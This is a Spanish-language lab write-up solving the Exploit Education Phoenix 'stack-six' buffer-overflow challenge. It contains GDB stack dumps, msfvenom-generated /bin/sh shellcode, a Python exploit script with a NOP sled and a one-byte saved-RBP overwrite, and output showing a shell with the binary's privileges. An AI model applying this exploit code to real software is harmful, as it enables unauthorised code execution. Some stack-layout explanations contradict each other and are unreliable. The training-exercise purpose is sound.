──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4007f6 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
En este punto inspeccionamos la pila con x/50xg $rsp
y confirmamos que:
- En la posición
0x7fffffffe5c0
se encuentra la dirección de retorno amain+0
(0x40079b
). - Justo después, en
0x7fffffffe5b8
, aparece el puntero a nuestro payload (0x7fffffffef10
), que apunta directamente a la cadena de'A'
inyectada desde la variable de entornoExploitEducation
.
Esto confirma que:
- El payload ya tiene una referencia en el stack → el programa guarda un puntero que apunta a los datos que controlamos.
- Si logramos sobrescribir el saved RIP con esta dirección (
0x7fffffffef10
), podremos redirigir el flujo de ejecución hacia el buffer y ejecutar el shellcode contenido ahí. - Se valida que el ret2payload es posible, dado que tenemos tanto la dirección base del payload como un puntero confiable a él en el stack.
gef➤ x/50xg $rsp
0x7fffffffe5b0: 0x00007fffffffe628 0x00000001ffffe638
0x7fffffffe5c0: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe5d0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5e0: 0x0000000000000000 0x00007fffffffe620
0x7fffffffe5f0: 0x0000000000000000 0x00007ffff7ffdbc8
0x7fffffffe600: 0x0400000100003e00 0x00000000004005c9
0x7fffffffe610: 0x0000000000000000 0x00000000004005a6
0x7fffffffe620: 0x0000000000000001 0x00007fffffffe82b
0x7fffffffe630: 0x0000000000000000 0x00007fffffffe848
0x7fffffffe640: 0x00007fffffffee04 0x00007fffffffee2f
0x7fffffffe650: 0x00007fffffffee44 0x00007fffffffee51
0x7fffffffe660: 0x00007fffffffee5b 0x00007fffffffee6a
0x7fffffffe670: 0x00007fffffffee73 0x00007fffffffee83
0x7fffffffe680: 0x00007fffffffeea0 0x00007fffffffeeb3
0x7fffffffe690: 0x00007fffffffeebf 0x00007fffffffeed3
0x7fffffffe6a0: 0x00007fffffffeee3 0x00007fffffffeef7
0x7fffffffe6b0: 0x00007fffffffeeff 0x00007fffffffef90
0x7fffffffe6c0: 0x00007fffffffef9d 0x0000000000000000
0x7fffffffe6d0: 0x0000000000000021 0x00007ffff7ff8000
0x7fffffffe6e0: 0x0000000000000010 0x00000000078bfbfd
0x7fffffffe6f0: 0x0000000000000006 0x0000000000001000
0x7fffffffe700: 0x0000000000000011 0x0000000000000064
0x7fffffffe710: 0x0000000000000003 0x0000000000400040
0x7fffffffe720: 0x0000000000000004 0x0000000000000038
0x7fffffffe730: 0x0000000000000005 0x0000000000000007
gef➤
Se verifica la posición exacta del puntero al payload en la pila. Con find /g
se busca la dirección 0x7fffffffef10
(inicio de los 'A'
en el entorno) en el rango cercano a $rsp
, y se obtiene 0x7fffffffe5c8
. Esto nos da un ancla fiable en el stack para calcular offsets y preparar el exploit, asegurando que el saved RIP pueda reescribirse para saltar correctamente al payload.
gef➤ find /g $rsp-0x2000, $rsp+0x800, 0x7fffffffef10
0x7fffffffe5c8
1 pattern found.
gef➤
La pila ahora contiene, en 0x7fffffffe5b8
, el puntero a nuestro payload (0x7fffffffef10
) y, justo antes, en 0x7fffffffe5b0
, el saved RIP (la dirección a la que ret
saltará). Al ejecutar leave
el procesador hace mov rsp, rbp
(ajusta rsp
al base pointer del frame) y pop rbp
(restaura el rbp
previo, que puede haber quedado parcialmente corrompido). A continuación ret
realiza un pop rip
: toma el valor en la cima de la pila (ahora saved RIP
en 0x7fffffffe5b0
) y lo carga en rip
, transfiriendo la ejecución a esa dirección. Por eso, si sobrescribimos saved RIP
con 0x7fffffffef10
, el ret
saltará directamente al payload en la pila y controlaremos el flujo del programa.
0x7fffffffe5c8 − 8 = 0x7fffffffe5c0
Con esto ya estamos listos para generar el exploit que nos dará una shell.
El primer paso es crear el shellcode. Para este caso utilicé msfvenom, especificando la arquitectura x64
, la plataforma Linux y el comando que quiero ejecutar (/bin/sh
). Además, filtré el carácter nulo (\x00
) para evitar problemas en la inyección:
┌──(root㉿angussMoody)-[/mnt/angussMoody]
└─# msfvenom -p linux/x64/exec CMD=/bin/sh -b '\x00' -f python --var-name shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Final size of python file: 501 bytes
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xf5\xd5\x32"
shellcode += b"\x6f\x45\xfe\x97\x0f\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xbd\x6d\x1d\x0d\x2c"
shellcode += b"\x90\xb8\x7c\x9d\xd5\xab\x3f\x11\xa1\xc5\x69"
shellcode += b"\x9d\xf8\x51\x3b\x1b\xac\x7f\x07\xf5\xd5\x32"
shellcode += b"\x40\x27\x97\xf9\x20\x86\xbd\x32\x39\x12\xaa"
shellcode += b"\xc9\x65\xce\x8d\x3d\x6a\x45\xfe\x97\x0f"
Con el shellcode ya preparado, el siguiente paso fue armar el exploit en Python para inyectarlo en el binario vulnerable.
Primero, definí el offset necesario para alcanzar la dirección de retorno. En este caso son 127 bytes.
Después, incluí el shellcode generado con msfvenom y definí el último byte de la dirección de retorno (lsb
) que sobreescribirá el flujo del programa.
Luego lo que hacemos es rellenar con instrucciones NOP (0x90
) hasta alcanzar el offset exacto. Esto se conoce como un NOP sled, y es especialmente útil en retos como
con esto aseguramos que:
- Aunque la dirección de retorno no apunte exactamente al inicio del shellcode, al caer en cualquier parte de esta zona de NOPs, la ejecución “resbale” hasta alcanzar el shellcode real.
- Así conseguimos que la explotación ya que no necesitamos acertar a una dirección precisa, solo apuntar a un rango dentro del sled.
user@phoenix-amd64:/tmp$ nano Local_exploit.py
user@phoenix-amd64:/tmp$ cat Local_exploit.py
#!/usr/bin/env python3
# Total de bytes hasta la dirección de retorno
offset = 127
# Shellcode generado previamente
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x1b\x26\x05"
shellcode += b"\x07\x09\xc0\x8c\xbf\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x53\x9e\x2a\x65\x60"
shellcode += b"\xae\xa3\xcc\x73\x26\x9c\x57\x5d\x9f\xde\xd9"
shellcode += b"\x73\x0b\x66\x53\x57\x92\x64\xb7\x1b\x26\x05"
shellcode += b"\x28\x6b\xa9\xe2\x90\x68\x4e\x05\x51\x5e\x94"
shellcode += b"\xd2\xd5\x20\x7e\x0a\x02\x09\xc0\x8c\xbf"
# Último byte de la dirección de retorno
lsb = b'\xc0'
# Construcción del payload: shellcode + NOP sled + dirección de retorno
buf = shellcode
buf += b'\x90' * (offset - len(shellcode))
buf += lsb
# Imprimir el payload en stdout para redirigirlo al binario vulnerable
import sys
sys.stdout.buffer.write(buf)
Si vemos una grafica de la pila, esto es lo que realizará nuestro payload.
Direcciones (más altas)
┌─────────────────────────────┐
│ Saved RIP │ <- dirección de retorno sobrescrita
│ con valor parcial (LSB)
├─────────────────────────────┤
│ Saved RBP │ <- 0x7fffffffe5c0
│ (último byte sobrescrito) │ <- 161 bytes pisan solo 1 byte de RBP
├─────────────────────────────┤
│ NOP sled (~39 bytes) │ <- b'\x90' * (offset - len(shellcode))
│ "zona de aterrizaje" para llegar al shellcode
├─────────────────────────────┤
│ Shellcode (87 bytes) │ <- generado con msfvenom (execve /bin/sh)
│ se ejecuta al caer en la NOP sled
├─────────────────────────────┤
│ Entrada controlada (127 B) │ <- payload del exploit
│ - Shellcode (87 B) │
│ - NOP sled (~39 B) │
│ - +1 byte → pisa RBP (LSB)│
├─────────────────────────────┤
│ Buffer local (128 bytes) │ <- reservado por el programa (rbp-0xa0 → rbp-0x1)
│ - "Welcome, I am pleased…"│ (34 bytes de mensaje fijo del binario)
│ - Resto → ocupado por │
│ nuestra entrada control │
└─────────────────────────────┘
Direcciones (más bajas)Direcciones (más altas)
┌─────────────────────────────┐
│ Saved RIP (0x4007e9) │ <- dirección de retorno de greet() hacia main()
├─────────────────────────────┤
│ Saved RBP │ <- 0x7fffffffe5c0
│ (LSB sobrescrito: 1 byte) │ <- desbordamiento de 161 bytes pisa solo 1 byte
├─────────────────────────────┤
│ Buffer local (128 bytes) │ <- rbp-0xa0 → rbp-0x1
│ - "Welcome, I am pleased…"│ (34 bytes del mensaje fijo)
│ - + 127 'A' de la variable│ (entrada controlada)
└─────────────────────────────┘
Direcciones (más bajas)
Con el exploit ya preparado, el siguiente paso fue cargar nuestro payload en una variable de entorno para que el binario vulnerable lo reciba como entrada.
Para ello, simplemente exportamos la salida del script en la variable
ExploitEducation
user@phoenix-amd64:~$ export ExploitEducation=$(python3 /tmp/Local_exploit.py)
Con la variable de entorno ya configurada con nuestro payload, ejecutamos el binario vulnerable bajo GDB para observar el comportamiento del exploit y podemos ver que el programa se desbordó y ejecuta nuestra shell
- El flujo de ejecución fue redirigido al NOP sled, que nos llevó a ejecutar el shellcode.
- El shellcode abrió un nuevo /bin/dash, otorgándonos una shell interactiva bajo el contexto del usuario actual.
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-six
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you H1�H������H�����H� ��H1X'H-������S�*e`���s&�W]���s
fSW�d���hNQ^��� ~
�����������������������������������������������
process 501 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Detaching after fork from child process 505]
$ whoami
user
$
Finalmente, ejecutamos directamente el binario vulnerable con nuestro payload cargado en la variable de entorno:
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you H1�H������H�����H� ��H1X'H-������S�*e`���s&�W]���s
fSW�d���hNQ^��� ~
�����������������������������������������������
$ id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
$
Conclusión
En Stack Six dimos un paso más allá en la explotación de desbordamientos de buffer: además de inyectar un shellcode propio, tuvimos que gestionar un payload más grande y afinar el control sobre la pila modificando únicamente el LSB del saved RBP para redirigir la ejecución.
Puntos clave:
-
El binario vulnerable vuelve a usar funciones inseguras como
gets()
, lo que nos permite un desbordamiento. -
El offset de 127 bytes nos dio la distancia exacta para llegar a la dirección de retorno, lo que facilitó el control del flujo del programa.
-
Al payload le añadimos un NOP sled que actúa como “zona de aterrizaje”, aumentando la tolerancia al redireccionamiento hacia nuestro shellcode.
-
El shellcode generado con msfvenom nos permitió ejecutar
/bin/sh
, abriendo una shell con los privilegios del binario. -
La explotación se completó inyectando todo en la variable de entorno y verificando la ejecución tanto en GDB como directamente en el sistema.